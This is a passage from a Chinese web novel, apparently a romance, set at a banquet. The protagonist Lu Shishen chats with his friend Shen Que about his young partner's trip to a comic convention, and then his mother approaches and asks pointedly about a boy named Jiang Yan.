宴会厅里觥筹交错,水晶吊灯投下璀璨的光,落在每一个人精心修饰的脸上。陆时深站在落地窗前,远离那片热闹。窗外的夜景铺陈开来,城西山峦起伏,万家灯火在远处闪烁,像另一个与他无关的世界。
他今晚穿了一身黑色西装,剪裁利落,衬得肩线平直,腰身紧窄,白衬衫领口系着深灰色领带,整个人站在那里,像一把收鞘的刀,锋利,却引而不发。左手端着一杯香槟,从开场到现在,几乎没动过。
沈确穿过人群走过来的时候,手里还端着一杯红酒。他在陆时深旁
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边站定,往宴会厅里扫了一眼,那些衣香鬓影的面孔在灯光下显得格外体面,每个人都在恰到好处地笑。
“躲这儿呢。”沈确靠在窗框上,姿态散漫,晃了晃手里的酒杯,“这么多人等着跟你说话,你倒好,跑这儿装深沉。”
陆时深没接话。
沈确也不在意,抿了一口酒,目光落在他脸上,忽然笑了一声:“怎么,你家小朋友没跟着来,你心也飞了?”
陆时深终于侧过脸,看了他一眼。
沈确抬了抬下巴,语气里带着点调侃:“小朋友呢?怎么不过来?”
“这种场合,他会不适应。”
沈确点点头,确实,那少年一看就不属于这种地方,不是说他不够好,是说他不该被扔进这种吃人的名利场里,被人当珍稀动物一样围观打量。沈确又问:“那他今天干什么去了?”
“漫展。”
沈确愣了一下,以为自己听错了:“漫展?”
陆时深嗯了一声,目光重新落回窗外。
陆时深没说话,沈确的表情变得微妙起来,他放下酒杯,仔细打量着陆时深,确认他不是在开玩笑之后,嘴角慢慢弯起来。
“漫展,”他重复了一遍这个两个字,尾音拖得意味深长,“不会是……时晏那个漫展吧?”他说着,忽然意识到什么,“等等,小朋友该不会是时晏的粉丝吧?”
陆时深没说话,但脸上的表情已经说明了一切。
沈确笑得更欢了:“他喜欢时晏?你让我缓缓,时晏,你那个便宜弟弟,他现在在隔壁市参加漫展,你家小朋友跑去看他,然后你一个人——”
“他喜欢。”陆时深打断他,语气很平淡,“他喜欢就行。”
沈确看着他,半晌,啧了一声。
这话说得,好像只要那少年高兴,就算是追他自己亲弟弟也没关系似的。沈确在心里默默给这份纵容打了个满分,然后识趣地换了话题,随口聊了几句无关紧要的闲话,无非是今天来了哪些人、最近有什么动向、哪家又在蠢蠢欲动
陆时深应着,目光却时不时掠过宴会厅另一侧,那里,陆母周韵笙正被几位太太围着说话,姿态优雅得体,笑容恰到好处,像一株养在深闺的名贵兰花,永远不疾不徐,永远让人挑不出错处。
她今天穿了一身绛紫色旗袍,颈间那串南洋金珠在灯光下泛着温润的光泽,头发一丝不苟地盘起,露出光洁的额头和保养得宜的脸。她正侧耳听旁边的人说什么,偶尔点头,偶尔微微一笑,整个人娴静得像一幅画。
但她像是感应到什么,忽然抬眼,目光越过人群,准确无误地落在陆时深身上。
那目光很淡,淡得像只是随意一瞥,但陆时深知道,不是。
果然,周韵笙和旁边的人说了句什么,那些人笑着点头,她便端着酒杯,穿过人群,朝这边走来。
沈确余光瞥见,识趣地拍拍陆时深的肩膀:“我先撤,你慢慢聊。”说完就端着酒杯消失在人群里,动作之快,仿佛身后有鬼在追。
周韵笙走过来的时候,陆时深已经转过身,面向她。她在他面前站定,抬手替他理了理本就平整的领带,动作自然,像任何一个母亲会做的那样。
“一个人来的?”她问,语气随意,像是随口一问。
陆时深垂眼看着她,没回答,但心里很清楚,她能问出这个问题,大概是知道了什么。
周韵笙也不急,收回手,端起自己的酒杯,抿了一口。那杯里是白水,她从不喝酒,这是陆家所有人都知道的事。
“你爸这几天,”她顿了顿,似乎在斟酌措辞,“看了一些东西。”
陆时深的眼神渐渐冷下来,但他没说话,只是看着她,等下文。
周韵笙迎上他的目光,那双眼睛和陆时深的很像,永远平静,却深不见底。她轻声说:“那个孩子,是叫江砚吧?”